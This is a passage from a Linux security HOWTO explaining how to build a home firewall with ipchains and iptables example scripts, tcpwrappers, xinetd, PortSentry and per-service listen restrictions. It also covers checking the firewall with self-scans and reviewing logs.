We also have a small, home network in the above example. We did not take any steps to block that traffic. So the LAN has access to all services running on bigcat. And it is further "masqueraded", so that it has Internet access (different HOWTO), by manipulating the "forward" chain. And the LAN is still protected by our firewall since it sits behind the firewall. We also didn't impose any restrictive rules on the traffic leaving bigcat. In some situations, this might be a good idea.

Of course, this is just a hypothetical example. Your individual situation is surely different, and would require some changes and likely some additions to the rules above. For instance, if your ISP does not use DHCP (most do not), then that rule would make no sense. PPP works differently and such rules are not needed.

Please don't interpret that running any server as we did in this example is necessarily a "safe" thing to do. We shouldn't do it this way unless a) we really need to and b) we are running the current, safe version, and c) we are able to keep abreast of security related issues that might effect these services. Vigilance and caution are part of our responsibilities here too.

8.10.4. iptables mini-me

Just to demonstrate how succinctly iptables can be configured in a minimalist situation, the below is from the Netfilter team's Rusty's Really Quick Guide To Packet Filtering:

"Most people just have a single PPP connection to the Internet, and don't want anyone coming back into their network, or the firewall:"

 ## Insert connection-tracking modules (not needed if built into kernel).
 insmod ip_conntrack
 insmod ip_conntrack_ftp

 ## Create chain which blocks new connections, except if coming from inside.
 iptables -N block
 iptables -A block -m state --state ESTABLISHED,RELATED -j ACCEPT
 iptables -A block -m state --state NEW -i ! ppp0 -j ACCEPT
 iptables -A block -j DROP

 ## Jump to that chain from INPUT and FORWARD chains.
 iptables -A INPUT -j block
 iptables -A FORWARD -j block

This simple script will allow all outbound connections that we initiate, i.e. any NEW connections (since the default policy of ACCEPT is not changed). Then any connections that are "ESTABLISHED" and "RELATED" to these are also allowed. And, any connections that are not incoming from our WAN side interface, ppp0, are also allowed. This would be lo or possibly a LAN interface like eth1. So we can do whatever we want, but no unwanted, incoming connection attempts are allowed from the Internet. None.

This script also demonstrates the creation of a custom chain, defined here as "block", which is used both for the INPUT and FORWARD chains.

Prev | Home
General Tips |


Step 3: Firewalls and Setting Access Policies

Security Quick-Start HOWTO for Linux
Prev Next

5. Step 3: Firewalls and Setting Access Policies

So what is a "firewall"? It's a vague term that can mean anything that acts as a protective barrier between us and the outside world. This can be a dedicated system, or a specific application that provides this functionality. Or it can be a combination of components, including various combinations of hardware and software. Firewalls are built from "rules" that are used to define what is allowed to enter and exit a given system or network. Let's look at some of the possible components that are readily available for Linux, and how we might implement a reasonably safe firewalling strategy.

In Step 1 above, we have turned off all services we don't need. In our example, there were a few we still needed to have running. In this section, we will take the next step here and decide which we need to leave open to the world. And which we might be able to restrict in some way. If we can block them all, so much the better, but this is not always practical.

5.1. Strategy

What we want to do now is restrict connections and traffic so that we only allow the minimum necessary for whatever our particular situation is. In some cases we may want to block all incoming "new" connection attempts. Example: we want to run X, but don't want anyone from outside to access it, so we'll block it completely from outside connections. In other situations, we may want to limit, or restrict, incoming connections to trusted sources only. The more restrictive, the better. Example: we want to ssh into our system from outside, but we only ever do this from our workplace. So we'll limit sshd connections to our workplace address range. There are various ways to do this, and we'll look at the most common ones.

We also will not want to limit our firewall to any one application. There is nothing wrong with a "layered" defense-in-depth approach. Our front line protection will be a packet filter -- either ipchains or iptables (see below). Then we can use additional tools and mechanisms to reinforce our firewall.

We will include some brief examples. Our rule of thumb will be to deny everything as the default policy, then open up just what we need. We'll try to keep this as simple as possible since it can be an involved and complex topic, and just stick to some of the most basic concepts. See the Links section for further reading on this topic.

5.2. Packet Filters -- Ipchains and Iptables

"Packet filters" (like ipchains) have the ability to look at individual packets, and make decisions based on what they find. These can be used for many purposes. One common purpose is to implement a firewall.

Common packet filters on Linux are ipchains which is standard with 2.2 kernels, and iptables which is available with the more recent 2.4 kernels. iptables has more advanced packet filtering capabilities and is recommended for anyone running a 2.4 kernel. But either can be effective for our purposes. ipfwadm is a similar utility for 2.0 kernels (not discussed here).

If constructing your own ipchains or iptables firewall rules seems a bit daunting, there are various sites that can automate the process. See the Links section. Also the included examples may be used as a starting point. And your distribution may be including a utility of some kind for generating a firewall script. This may be adequate, but it is still recommended to know the proper syntax and how the various mechanisms work as such tools rarely do more than a few very simple rules.

Note

Various examples are given below. These are presented for illustrative purposes to demonstrate some of the concepts being discussed here. While they might also be useful as a starting point for your own script, please note that they are not meant to be all encompassing. You are strongly encouraged to understand how the scripts work, so you can create something even more tailored for your own situation.

5.2.1. ipchains

ipchains can be used with either 2.2 or 2.4 kernels. When ipchains is in place, it checks every packet that moves through the system. The packets move across different "chains", depending where they originate and where they are going. Think of "chains" as rule sets. In advanced configurations, we could define our own custom chains. The three default built-in chains are input, which is incoming traffic, output, which is outgoing traffic, and forward, which is traffic being forwarded from one interface to another (typically used for "masquerading"). Chains can be manipulated in various ways to control the flow of traffic in and out of our system. Rules can be added at our discretion to achieve the desired result.

At the end of every "chain" is a "target". The target is specified with the -j option to the command. The target is what decides the fate of the packet and essentially terminates that particular chain. The most common targets are mostly self-explanatory: ACCEPT, DENY, REJECT, and MASQ. MASQ is for "ipmasquerading". DENY and REJECT essentially do the same thing, though in different ways. Is one better than the other? That is the subject of much debate, and depends on other factors that are beyond the scope of this document. For our purposes, either should suffice.

ipchains has a very flexible configuration. Port (or port ranges), interfaces, destination address, source address can be specified, as well as various other options. The man page explains these details well enough that we won't get into specifics here.

Traffic entering our system from the Internet, enters via the input chain. This is the one that we need as tight as we can make it.

Below is a brief example script for a hypothetical system. We'll let the comments explain what this script does. Anything starting with a "#" is a comment. ipchains rules are generally incorporated into shell scripts, using shell variables to help implement the firewalling logic.

#!/bin/sh
#
# ipchains.sh
#
# An example of a simple ipchains configuration.
#
# This script allows ALL outbound traffic, and denies
# ALL inbound connection attempts.
#
###################################################################
# Begin variable declarations and user configuration options ######
#
IPCHAINS=/sbin/ipchains
# This is the WAN interface, that is our link to the outside world.
# For pppd and pppoe users.
# WAN_IFACE="ppp0"
WAN_IFACE="eth0"

## end user configuration options #################################
###################################################################

# The high ports used mostly for connections we initiate and return
# traffic.
LOCAL_PORTS=`cat /proc/sys/net/ipv4/ip_local_port_range |cut -f1`:\
`cat /proc/sys/net/ipv4/ip_local_port_range |cut -f2`

# Any and all addresses from anywhere.
ANYWHERE="0/0"

# Let's start clean and flush all chains to an empty state.
ipchains -F

# Set the default policies of the built-in chains. If no match for any
# of the rules below, these will be the defaults that ipchains uses.
ipchains -P forward DENY
ipchains -P output ACCEPT
ipchains -P input DENY

# Accept localhost/loopback traffic.
ipchains -A input -i lo -j ACCEPT

# Get our dynamic IP now from the Inet interface. WAN_IP will be our
# IP address we are protecting from the outside world. Put this
# here, so default policy gets set, even if interface is not up
# yet.
WAN_IP=`ifconfig $WAN_IFACE |grep inet |cut -d : -f 2 |cut -d \  -f 1`

# Bail out with error message if no IP available! Default policy is
# already set, so all is not lost here.
[ -z "$WAN_IP" ] && echo "$WAN_IFACE not configured, aborting." && exit 1

# Accept non-SYN TCP, and UDP connections to LOCAL_PORTS. These are
# the high, unprivileged ports (1024 to 4999 by default). This will
# allow return connection traffic for connections that we initiate
# to outside sources. TCP connections are opened with 'SYN' packets.
ipchains -A input -p tcp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS ! -y -j ACCEPT

# We can't be so selective with UDP since that protocol does not
# know about SYNs.
ipchains -A input -p udp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS -j ACCEPT

## ICMP (ping)
#
# ICMP rules, allow the bare essential types of ICMP only. Ping
# request is blocked, ie we won't respond to someone else's pings,
# but can still ping out.
ipchains -A input  -p icmp  --icmp-type echo-reply \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
ipchains -A input  -p icmp  --icmp-type destination-unreachable \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
ipchains -A input  -p icmp  --icmp-type time-exceeded \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT

###################################################################
# Set the catchall, default rule to DENY, and log it all. All other
# traffic not allowed by the rules above, winds up here, where it is
# blocked and logged. This is the default policy for this chain
# anyway, so we are just adding the logging ability here with '-l'.
# Outgoing traffic is allowed as the default policy for the 'output'
# chain. There are no restrictions on that.

ipchains -A input -l -j DENY

echo "Ipchains firewall is up `date`."

##-- eof ipchains.sh

To use the above script would require that it is executable (i.e. chmod +x ipchains.sh), and run by root to build the chains, and hence the firewall.

To summarize what this example did was to start by setting some shell variables in the top section, to be used later in the script. Then we set the default rules (ipchains calls these "policies") of denying all inbound and forwarded traffic, and of allowing all our own outbound traffic. We had to open some holes in the high, unprivileged ports so that we could have return traffic from connections that bigcat initiates to outside addresses. If we connect to someone's web server, we want that HTML data to be able to get back to us, for instance. The same applies to other network traffic. We then allowed a few specific types of the ICMP protocol (most are still blocked). We are also logging any inbound traffic that violates any of our rules so we know who is doing what. Notice that we are only using IP address here, not hostnames of any kind. This is so that our firewall works, even in situation where there may be DNS failures. Also, to prevent any kind of DNS spoofing.

See the ipchains man page for a full explanation of syntax. The important ones we used here are:

-A input: Adds a rule to the "input" chain. The default chains are input, output, and forward.

-p udp: This rule only applies to the "UDP" "protocol". The -p option can be used with tcp, udp or icmp protocols.

-i $WAN_IFACE: This rule applies to the specified interface only, and applies to whatever chain is referenced (input, output, or forward).

-s <IP address> [port]: This rule only applies to the source address as specified. It can optionally have a port (e.g. 22) immediately afterward, or port range, e.g. 1023:4999.

-d <IP address> [port]: This rule only applies to the destination address as specified. Also, it may include port or port range.

-l : Any packet that hits a rule with this option is logged (lower case "L").

-j ACCEPT: Jumps to the "ACCEPT" "target". This effectively terminates this chain and decides the ultimate fate for this particular packet, which in this example is to "ACCEPT" it. The same is true for other -j targets like DENY.

By and large, the order in which command line options are specified is not significant. The chain name (e.g. input) must come first though.

Remember in Step 1 when we ran netstat, we had both X and print servers running among other things. We don't want these exposed to the Internet, even in a limited way. These are still happily running on bigcat, but are now safe and sound behind our ipchains based firewall. You probably have other services that fall in this category as well.

The above example is a simplistic all or none approach. We allow all our own outbound traffic (not necessarily a good idea), and block all inbound connection attempts. It would more than likely require a bit of fine tuning to make it work for you. For a more advanced set of rules, see the Appendix. And you might want to read http://linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html.

Whenever you have made changes to your firewall, you should verify its integrity. One step to make sure your rules seem to be doing what you intended, is to see how ipchains has interpreted your script. You can do this by opening your xterm very wide, and issuing the following command:

 # ipchains -L -n -v | less

The output is grouped according to chain. You should also find a way to scan yourself (see the Verifying section below). And then keep an eye on your logs to make sure you are blocking what is intended.

5.2.2. iptables

iptables is the next generation packet filter for Linux, and requires a 2.4 kernel. It can do everything ipchains can, but has a number of noteworthy enhancements. The syntax is similar to ipchains in many respects. See the man page for details.

The most noteworthy enhancement is "connection tracking", also known as "stateful inspection". This gives iptables more knowledge of the state of each packet. Not only does it know if the packet is a TCP or UDP packet, or whether it has the SYN or ACK flags set, but also if it is part of an existing connection, or related somehow to an existing connection. The implications for firewalling should be obvious.

The bottom line is that it is easier to get a tight firewall with iptables, than with ipchains. So this is the recommended way to go.

Here is the same script as above, revised for iptables:

#!/bin/sh
#
# iptables.sh
#
# An example of a simple iptables configuration.
#
# This script allows ALL outbound traffic, and denies
# ALL inbound connection attempts.
#
###################################################################
# Begin variable declarations and user configuration options ######
#

# Local Interfaces
# This is the WAN interface that is our link to the outside world.
# For pppd and pppoe users.
# WAN_IFACE="ppp0"
WAN_IFACE="eth0"
#

## end user configuration options #################################
###################################################################

# Any and all addresses from anywhere.
ANYWHERE="0/0"

# This module may need to be loaded:
modprobe ip_conntrack_ftp

# Start building chains and rules #################################
#
# Let's start clean and flush all chains to an empty state.
iptables -F

# Set the default policies of the built-in chains. If no match for any
# of the rules below, these will be the defaults that IPTABLES uses.
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -P INPUT DROP

# Accept localhost/loopback traffic.
iptables -A INPUT -i lo -j ACCEPT

## ICMP (ping)
#
# ICMP rules, allow the bare essential types of ICMP only. Ping
# request is blocked, ie we won't respond to someone else's pings,
# but can still ping out.
iptables -A INPUT  -p icmp  --icmp-type echo-reply \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
iptables -A INPUT  -p icmp  --icmp-type destination-unreachable \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT
iptables -A INPUT  -p icmp  --icmp-type time-exceeded \
   -s $ANYWHERE -i $WAN_IFACE -j ACCEPT

###################################################################
# Set the catchall, default rule to DENY, and log it all. All other
# traffic not allowed by the rules above, winds up here, where it is
# blocked and logged. This is the default policy for this chain
# anyway, so we are just adding the logging ability here with '-j
# LOG'. Outgoing traffic is allowed as the default policy for the
# 'output' chain. There are no restrictions on that.

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state NEW -i ! $WAN_IFACE -j ACCEPT
iptables -A INPUT -j LOG -m limit --limit 30/minute --log-prefix "Dropping: "

echo "Iptables firewall is up `date`."

##-- eof iptables.sh

The same script logic is used here, and thus this does pretty much the same exact thing as the ipchains script in the previous section. There are some subtle differences as to syntax. Note the case difference in the chain names for one (e.g. INPUT vs input). Logging is handled differently too. It has its own "target" now (-j LOG), and is much more flexible.

There are some very fundamental differences as well, that might not be so obvious. Remember this section from the ipchains script:

# Accept non-SYN TCP, and UDP connections to LOCAL_PORTS. These are the high,
# unprivileged ports (1024 to 4999 by default). This will allow return
# connection traffic for connections that we initiate to outside sources.
# TCP connections are opened with 'SYN' packets. We have already opened
# those services that need to accept SYNs for, so other SYNs are excluded here
# for everything else.
ipchains -A input -p tcp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS ! -y -j ACCEPT

# We can't be so selective with UDP since that protocol does not know
# about SYNs.
ipchains -A input -p udp -s $ANYWHERE -d $WAN_IP $LOCAL_PORTS -j ACCEPT

We jumped through hoops here with ipchains so that we could restrict unwanted, incoming connections as much as possible. A bit of a kludge, actually.

That section is missing from the iptables version. It is not needed as connection tracking handles this quite nicely, and then some. This is due to the "statefulness" of iptables. It knows more about each packet than ipchains. For instance, it knows whether the packet is part of a "new" connection, or an "established" connection, or a "related" connection. This is the so-called "stateful inspection" of connection tracking.

There are many, many features of iptables that are not touched on here. For more reading on the Netfilter project and iptables, see http://netfilter.samba.org. And for a more advanced set of rules, see the Appendix.

5.3. Tcpwrappers (libwrap)

Tcpwrappers provides much the same desired results as ipchains and iptables above, though works quite differently. Tcpwrappers actually intercepts the connection attempt, then examines its configurations files, and decides whether to accept or reject the request. Tcpwrappers controls access at the application level, rather than the socket level like iptables and ipchains. This can be quite effective, and is a standard component on most Linux systems.

Tcpwrappers consists of the configuration files /etc/hosts.allow and /etc/hosts.deny. The functionality is provided by the libwrap library.

Tcpwrappers first looks to see if access is permitted in /etc/hosts.allow, and if so, access is granted. If not in /etc/hosts.allow, the file /etc/hosts.deny is then checked to see if access is not allowed. If so, access is denied. Else, access is granted. For this reason, /etc/hosts.deny should contain only one uncommented line, and that is: ALL: ALL. Access should then be permitted through entries in /etc/hosts.allow, where specific services are listed, along with the specific host addresses allowed to access these services. While hostnames can be used here, use of hostnames opens the limited possibility for name spoofing.

Tcpwrappers is commonly used to protect services that are started via inetd (or xinetd). But also any program that has been compiled with libwrap support, can take advantage of it. Just don't assume that all programs have built in libwrap support -- they do not. In fact, most probably don't. So we will only use it in our examples here to protect services start via inetd. And then rely on our packet filtering firewall, or other mechanism, to protect non-(x)inetd services.

Below is a small snippet from a typical inetd.conf file:

 # Pop and imap mail services et al
 #
 #pop-2   stream  tcp     nowait  root    /usr/sbin/tcpd ipop2d
 #pop-3   stream  tcp     nowait  root    /usr/sbin/tcpd ipop3d
 #imap    stream  tcp     nowait  root    /usr/sbin/tcpd imapd
 #

The second to last column is the tcpwrappers daemon -- /usr/sbin/tcpd. Immediately after is the daemon it is protecting. In this case, POP and IMAP mail servers. Your distro probably has already done this part for you. For the few applications that have built-in support for tcpwrappers via the libwrap library, specifying the daemon as above is not necessary.

We will use the same principles here: default policy is to deny everything, then open holes to allow the minimal amount of traffic necessary.

So now with your text editor, su to root and open /etc/hosts.deny. If it does not exist, then create it. It is just a plain text file. We want the following line:

 ALL: ALL

If it is there already, fine. If not, add it in and then save and close file. Easy enough. "ALL" is one of the keywords that tcpwrappers understands. The format is $SERVICE_NAME : $WHO, so we are denying all connections to all services here. At least all services that are using tcpwrappers. Remember, this will primarily be inetd services. See man 5 hosts_access for details on the syntax of these files. Note the "5" there!

Now let's open up just the services we need, as restrictively as we can, with a brief example:

 ALL: 127.0.0.1
 sshd,ipop3d: 192.168.1.
 sshd: .myworkplace.com, hostess.mymomshouse.com

The first line allows all "localhost" connections. You will need this. The second allows connections to the sshd and ipop3d services from IP addresses that start with 192.168.1., in this case the private address range for our hypothetical home LAN. Note the trailing ".". It's important. The third line allows connections to only our sshd daemon from any host associated with .myworkplace.com. Note the leading "." in this example. And then also, the single host hostess.mymomshouse.com. In summary, localhost and all our LAN connections have access to any and all tcpwrappered services on bigcat. But only our workplace addresses, and our mother can use sshd on bigcat from outside connections. Everybody else is denied by the default policy in /etc/hosts.deny.

The types of wild cards above (.myworkplace.com and 192.168.1.) are not supported by ipchains and iptables, or most other Linux applications for that matter. Also, tcpwrappers can use hostnames in place of IP addresses which is quite handy in some situations. This does not work with ipchains and iptables.

You can test your tcpwrappers configuration with the included tcpdchk utility (see the man page). Note that at this time this does not work with xinetd, and may not even be included in this case.

There is nothing wrong with using both tcpwrappers and a packet filtering firewall like ipchains. In fact, it is recommended to use a "layered" approach. This helps guard against accidental misconfigurations. In this case, each connection will be tested by the packet filter rules first, then tcpwrappers.

Remember to make backup copies before editing system configuration files, restart the daemon afterward, and then check the logs for error messages.

5.3.1. xinetd

As mentioned, xinetd is an enhanced inetd . It has much of the same functionality, with some notable enhancements. One is that tcpwrappers support can be compiled in, eliminating the need for explicit references to tcpd. Which means /etc/hosts.allow and /etc/hosts.deny are automatically in effect. Don't assume this is the case though. A little testing, then viewing the logs should be able to tell you whether tcpwrappers support is automatic or not.

Some of xinetd's other enhancements: specify IP address to listen on, which is a very effective method of access control; limit the rate of incoming connections and the total number of simultaneous connections; limit services to specific times of day. See the xinetd and xinetd.conf man pages for more details.

The syntax is quite different though. An example from /etc/xinetd.d/tftp:

 service tftp
 {
        socket_type     = dgram
        bind            = 192.168.1.1
        instances       = 2
        protocol        = udp
        wait            = yes
        user            = nobody
        only_from       = 192.168.1.0
        server          = /usr/sbin/in.tftpd
        server_args     = /tftpboot
        disable         = no
 }

Notice the bind statement. We are only listening on, or "binding" to, the private, LAN interface here. No outside connections can be made since the outside port is not even opened. We are also only accepting connections from 192.168.1.0, our LAN. For xinetd's purposes, this denotes any IP address beginning with "192.168.1". Note that the syntax is different from inetd. The server statement in this case is the tftp daemon, in.tftpd. Again, this assumes that libwrap/tcpwrappers support is compiled into xinetd. The user running the daemon will be "nobody". Yes, there is a user account called "nobody", and it is wise to run such daemons as non-root users whenever possible. Lastly, the disable statement is xinetd's way of turning services on or off. In this case, it is "on". This is on here only as an example. Do NOT run tftp as a public service as it is unsafe.

5.4. PortSentry

Portsentry works quite differently than the other tools discussed so far. Portsentry does what its name implies -- it guards ports. Portsentry is configured with the /etc/portsentry/portsentry.conf file.

Unlike the other applications discussed above, it does this by actually becoming the listening server on those ports. Kind of like baiting a trap. Running netstat -taup as root while portsentry is running, will show portsentry as the LISTENER on whatever ports portsentry is configured for. If portsentry senses a connection attempt, it blocks it completely. And then goes a step further and blocks the route to that host to stop all further traffic. Alternately, ipchains or iptables can be used to block the host completely. So it makes an excellent tool to stop port scanning of a range of ports.

But portsentry has limited flexibility as to whether it allows a given connection. It is pretty much all or nothing. You can define specific IP addresses that it will ignore in /etc/portsentry/portsentry.ignore. But you cannot allow selective access to individual ports. This is because only one server can bind to a particular port at the same time, and in this case that is portsentry itself. So it has limited usefulness as a stand-alone firewall. As part of an overall firewall strategy, yes, it can be quite useful. For most of us, it should not be our first line of defense, and we should only use it in conjunction with other tools.

Suggestion on when portsentry might be useful:

  • As a second layer of defense, behind either ipchains or iptables. Packet filtering will catch the packets first, so that anything that gets to portsentry would indicate a misconfiguration. Do not use in conjunction with inetd services -- it won't work. They will butt heads.

  • As a way to catch full range ports scans. Open a pinhole or two in the packet filter, and let portsentry catch these and re-act accordingly.

  • If you are very sure you have no exposed public servers at all, and you just want to know who is up to what. But do not assume anything about what portsentry is protecting. By default it does not watch all ports, and may even leave some very commonly probed ports open. So make sure you configure it accordingly. And make sure you have tested and verified your set up first, and that nothing is exposed.

All in all, the packet filters make for a better firewall.

5.5. Proxies

The dictionary defines "proxy" as "the authority or power to act on behalf of another". This pretty well describes software proxies as well. It is an intermediary in the connection path. As an example, if we were using a web proxy like "squid" (http://www.squid-cache.org/), every time we browse to a web site, we would actually be connecting to our locally running squid server. Squid in turn, would relay our request to the ultimate, real destination. And then squid would relay the web pages back to us. It is a go-between. Like "firewalls", a "proxy" can refer to either a specific application, or a dedicated server which runs a proxy application.

Proxies can perform various duties, not all of which have much to do with security. But the fact that they are an intermediary, makes them a good place to enforce access control policies, limit direct connections through a firewall, and control how the network behind the proxy looks to the Internet. So this makes them strong candidates to be part of an overall firewall strategy. And, in fact, are sometimes used instead of packet filtering firewalls. Proxy based firewalls probably make more sense where many users are behind the same firewall. And it probably is not high on the list of components necessary for home based systems.

Configuring and administering proxies can be complex, and is beyond the scope of this document. The Firewall and Proxy Server HOWTO, http://linuxdoc.org/HOWTO/Firewall-HOWTO.html, has examples of setting up proxy firewalls. Squid usage is discussed at http://squid-docs.sourceforge.net/latest/html/book1.htm

5.6. Individual Applications

Some servers may have their own access control features. You should check this for each server application you run. We'll only look at a few of the common ones in this section. Man pages, and other application specific documentation, is your friend here. This should be done whether you have confidence in your firewall or not. Again, layers of protection is always best.

  • BIND - a very common package that provides name server functionality. The daemon itself is "named". This only requires full exposure to the Internet if you are providing DNS look ups for one or more domains to the rest of the world. If you are not sure what this means, you do not need, or want, it exposed. For the overwhelming majority of us this is the case. It is a very common crack target.

    But it may be installed, and can be useful in a caching only mode. This does not require full exposure to the Internet. Limit the interfaces on which it "listens" by editing /etc/named.conf (random example shown):

 options {
   directory "/var/named";
   listen-on { 127.0.0.1; 192.168.1.1; };
   version "N/A";
 };

    The "listen-on" statement is what limits where named listens for DNS queries. In this example, only on localhost and bigcat's LAN interface. There is no port open for the rest of the world. It just is not there. Restart named after making changes.

  • X11 can be told not to allow TCP connections by using the -nolisten tcp command line option. If using startx, you can make this automatic by placing alias startx="startx -- -nolisten tcp" in your ~/.bashrc, or the system-wide file, /etc/bashrc, with your text editor. If using xdm (or variants such as gdm, kdm, etc), this option would be specified in /etc/X11/xdm/Xservers (or comparable) as :0 local /usr/bin/X11/X -nolisten tcp. gdm actually uses /etc/X11/gdm/gdm.conf.

    If using xdm (or comparable) to start X automatically at boot, /etc/inittab can be modified as: xdm -udpPort 0, to further restrict connections. This is typically near the bottom of /etc/inittab.

  • Recent versions of sendmail can be told to listen only on specified addresses:

 # SMTP daemon options
 O DaemonPortOptions=Port=smtp,Addr=127.0.0.1, Name=MTA

    The above excerpt is from /etc/sendmail.cf which can be carefully added with your text editor. The sendmail.mc directive is:

 dnl This changes sendmail to only listen on the loopback device 127.0.0.1
 dnl and not on any other network devices.
 DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1, Name=MTA')

    In case you would prefer to build a new sendmail.cf, rather than edit the existing one. Other mail server daemons likely have similar configuration options. Check your local documentation.

  • SAMBA connections can be restricted in smb.conf:

 bind interfaces = true
 interfaces = 192.168.1. 127.
 hosts allow = 192.168.1. 127.

    This will only open, and allow, connections from localhost (127.0.0.1), and the local LAN address range. Adjust the LAN address as needed.

  • The CUPS print daemon can be told where to listen for connections. Add to /etc/cups/cupsd.conf:

 Listen 192.168.1.1:631

    This will only open a port at the specified address and port number.

  • xinetd can force daemons to listen only on a specified address with its "bind" configuration directive. For instance, an internal LAN interface address. See man xinetd.conf for this and other syntax. There are various other control mechanisms as well.

As always, anytime you make system changes, backup the configuration file first, restart the appropriate daemon afterward, and then check the appropriate logs for error messages.

5.7. Verifying

The final step after getting your firewall in place, is to verify that it is doing what you intended. You would be wise to do this anytime you make even minor changes to your system configuration.

So how to do this? There are several things you can do.

For our packet filters like ipchains and iptables, we can list all our rules, chains, and associated activity with iptables -nvL | less (substitute ipchains if appropriate). Open your xterm as wide as possible to avoid wrapping long lines.

This should give you an idea if your chains are doing what you think they should. You may want to perform some of the on-line tasks you normally do first: open a few web pages, send and retrieve mail, etc. This will, of course, not give you any information on tcpwrappers or portsentry. tcpdchk can be used to verify tcpwrappers configuration (except with xinetd).

And then, scan yourself. nmap is the scanning tool of choice and may be available via your distribution , or from http://www.insecure.org/nmap/nmap_download.html. nmap is very flexible, and essentially is a "port prober". In other words, it looks for open ports, among other things. See the nmap man page for details.

If you do run nmap against yourself (e.g. nmap localhost), this should tell you what ports are open -- and visible locally only! Which hopefully by now, is quite different from what can be seen from the outside. So, scan yourself, and then find a trusted friend, or site (see the Links section), to scan you from the outside. Make sure you are not violating your ISPs Terms of Service by port scanning. It may not be allowed, even if the intentions are honorable. Scanning from outside is the best way to know how the rest of the world sees you. This should tell you how well that firewall is working. See the nmap section in the Appendix for some examples on nmap usage.

One caveat on this: some ISPs may filter some ports, and you will not know for sure how well your firewall is working. Conversely, they make it look like certain ports are open by using web, or other, proxies. The scanner may see the web proxy at port 80 and mis-report it as an open port on your system.

Another option is to find a website that offers full range testing. http://www.hackerwhacker.com is one such site. Make sure that any such site is not just scanning a relatively few well known ports.

Repeat this procedure with every firewall change, every system upgrade or new install, and when any key components of your system changes.

You may also want to enable logging all the denied traffic. At least temporarily. Once the firewall is verified to be doing what you think it should, and if the logs are hopelessly overwhelming, you may want to disable logging.

If relying on portsentry at all, please read the documentation. Depending on your configuration it will either drop the route to the scanner, or implement a ipchains/iptables rule doing the same thing. Also, since it "listens" on the specified ports, all those ports will show as "open". A false alarm in this case.

5.8. Logging

Linux does a lot of logging. Usually to more than one file. It is not always obvious what to make of all these entries -- good, bad or indifferent? Firewall logs tend to generate a fair amount of each. Of course, you are wanting to stop only the "bad", but you will undoubtedly catch some harmless traffic as well. The 'net has a lot of background noise.

In many cases, knowing the intentions of an incoming packet are almost impossible. Attempted intrusion? Misbehaved protocol? Mis-typed IP address? Conclusions can be drawn based on factors such as destination port, source port, protocol, and many other variables. But there is no substitute for experience in interpreting firewall logs. It is a black art in many cases.

So do we really need to log? And how much should we be trying to log? Logging is good in that it tells us that the firewall is functional. Even if we don't understand much of it, we know it is doing "something". And if we have to, we can dig into those logs and find whatever data might be called for.

On the other hand, logging can be bad if it is so excessive, it is difficult to find pertinent data, or worse, fills up a partition. Or if we over re-act and take every last entry as an all out assault. Some perspective is a great benefit, but something that new users lack almost by definition. Again, once your firewall is verified, and you are perplexed or overwhelmed, home desktop users may want to disable as much logging as possible. Anyone with greater responsibilities should log, and then find ways to extract the pertinent data from the logs by filtering out extraneous information.

Not sure where to look for log data? This could conceivably be many places depending on how your distribution configured the various daemons and syslogd. Most logging is done in /var/log/*. Check that directory with ls -l /var/log/ and see if you can tell the most active logs by size and timestamp. Also, look at /etc/syslog.conf to see where the default logs are. /var/log/messages is a good place to look for starters.

Portsentry and tcpwrappers do a certain amount of logging that is not adjustable. xinetd has logging enhancements that can be turned on. Both ipchains and iptables, on the other hand, are very flexible as to what is logged.

For ipchains the -l option can be added to any rule. iptables uses the -j LOG target, and requires its own, separate rule instead. iptables goes a few steps further and allows customized log entries, and rate limiting. See the man page. Presumably, we are more interested in logging blocked traffic, so we'd confine logging to only our DENY and REJECT rules.

So whether you log, and how much you log, and what you do with the logs, is an individual decision, and probably will require some trial and error so that it is manageable. A few auditing and analytical tools can be quite helpful:

Some tools that will monitor your logs for you and notify you when necessary. These likely will require some configuration, and trial and error, to make the most out of them:

  • A nice log entry analyzer for ipchains and iptables from Manfred Bartz: http://www.logi.cc/linux/NetfilterLogAnalyzer.php3. What does all that stuff mean anyway?

  • LogSentry (formerly logcheck) is available from http://www.psionic.org/products/logsentry.html, the same group that is responsible for portsentry. LogSentry is an all purpose log monitoring tool with a flexible configuration, that handles multiple logs.

  • http://freshmeat.net/projects/firelogd/, the Firewall Log Daemon from Ian Jones, is designed to watch, and send alerts on iptables or ipchains logs data.

  • http://freshmeat.net/projects/fwlogwatch/ by Boris Wesslowski, is a similar idea, but supports more log formats.

5.9. Where to Start

Let's take a quick look at where to run our firewall scripts from.

Portsentry can be run as an init process, like other system services. It is not so important when this is done. Tcpwrappers will be automatically be invoked by inetd or xinetd, so not to worry there either.

But the packet filtering scripts will have to be started somewhere. And many scripts will have logic that uses the local IP address. This will mean that the script must be started after the interface has come up and been assigned an IP address. Ideally, this should be immediately after the interface is up. So this depends on how you connect to the Internet. Also, for protocols like PPP or DHCP that may be dynamic, and get different IP's on each re-connect, it is best to have the scripts run by the appropriate daemon.

For PPP, you probably have an /etc/ppp/ip-up file. This will be executed every time there is a connect or re-connect. You should put the full path to your firewall script here. Check the local documentation for the correct location. Debian use files in /etc/ppp/ip-up.d/, so either put the script itself there, or a symlink to it. Red Hat uses /etc/ppp/ip-up.local for any user defined, local PPP configuration.

For DHCP, it depends on which client. dhcpcd will execute /etc/dhcpcd/dhcpcd-<interface>.exe (e.g. dhcpcd-eth0.exe) whenever a lease is obtained or renewed. So this is where to put a reference to your firewall script. For pump, the main configuration file is /etc/pump.conf. Pump will run whatever script is defined by the "script" statement any time there is a new or renewed lease:

 script /usr/local/bin/ipchains.sh

If you have a static IP address (i.e. it never changes), the placement is not so important and should be before the interface comes up!

5.10. Summary and Conclusions for Step 3

In this section we looked at various components that might be used to construct a "firewall". And learned that a firewall is as much a strategy and combination of components, as it is any one particular application or component. We looked at a few of the most commonly available applications that can be found on most, if not all, Linux systems. This is not a definitive list.

